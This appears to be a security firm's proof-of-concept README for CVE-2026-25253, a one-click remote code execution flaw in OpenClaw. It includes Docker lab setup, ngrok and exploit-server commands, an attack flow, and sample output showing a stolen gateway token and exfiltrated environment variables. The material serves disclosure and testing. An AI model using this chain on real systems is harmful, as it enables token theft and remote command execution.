## https://sploitus.com/exploit?id=66692E93-EF78-5977-A793-D16F12D2A3C9
# CVE-2026-25253 OpenClaw 1-Click RCE
★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★
https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e
## Description
CVE-2026-25253 : OpenClaw Authentication Token Exfiltration Vulnerability
description: OpenClaw (aka clawdbot or Moltbot) before v2026.1.29 allows attackers to exfiltrate a stored gateway authentication token by supplying a crafted gatewayUrl query-string value to the Control UI, which automatically establishes a WebSocket connection without validation or user confirmation. This can lead to unauthorized gateway access and 1-click remote code execution.
## Requirements
- Docker (Docker Desktop on Windows)
- Python 3.x (attack side)
## Files
- `Dockerfile` — build the OpenClaw vulnerable environment
- `templates/` — malicious web pages used by the exploit
- `config.txt` — OpenClaw configuration used in the victim environment
- `exploit.py` — exploit server
- `requirements.txt` — PoC dependencies
## Environment Setup
1) Build Docker image
~~~bash
docker build -t openclaw-vuln .
~~~
2) Run environment (Windows)
~~~bash
docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln
~~~
3) Create SSH tunnel
~~~bash
ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 root@127.0.0.1
~~~
- Password: openclawlab
4) Access OpenClaw Control UI
Open the following URL in the browser
~~~bash
http://127.0.0.1:18789/
~~~
1. Enter the Gateway Token `d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66`
2. Click **Connect**
3. Open the **Config** tab
4. paste the contents of `config.txt`
5. Replace the API key field with your OpenAI API key
6. Save the configuration
7. Confirm that the agendt responds normally
## Proof of Concept (PoC)
1) Install dependencies (attack side)
~~~bash
pip3 install -r requirements.txt
~~~
2) Expose the exploit server over HTTPS
~~~bash
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337
~~~
- Copy the generated forwarding hostname
3) Run exploit server
~~~bash
python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"
~~~
Example:
~~~bash
python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"
~~~
4) Trigger the attack
1. Open the malicious page exposed by the exploit server
2. Simulate victim interaction with the page
3. Trigger the exploit flow from the browser
## Attack Flow
1. A malicious URL changes the victim Control UI gatewayUrl
2. The browser automatically connects to the attacker-controlled WebSocket endpoint
3. The gateway authentication token is leaked to the attacker
4. The malicious page uses the stolen token to open a new WebSocket connection to the victim’s local OpenClaw gateway
5. A command execution request is sent through the agent
6. The execution result is returned to the attacker server
## Expected Result
- The victim browser is redirected into the malicious WebSocket flow
- The gateway authentication token is captured by the attacker
- The attacker can send a command execution request through OpenClaw
- Command output is returned to the attacker server
### Sample Output
~~~text
[*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66
==================================================
[!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================
~~~
## Notes
- This PoC targets OpenClaw 2026.1.24-1
- The exploit chain relies on the vulnerable gatewayUrl handling in Control UI
- For remote victim access, the malicious page must be served over HTTPS
- The local OpenClaw gateway is reached through the victim browser as a bridge
## EQST Insight
We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.
- KR : https://www.skshieldus.com/security-insights/reports/eqst_openclaw_rce_vulnerability
- EN : https://www.skshieldus.com/en/report?tab=eqst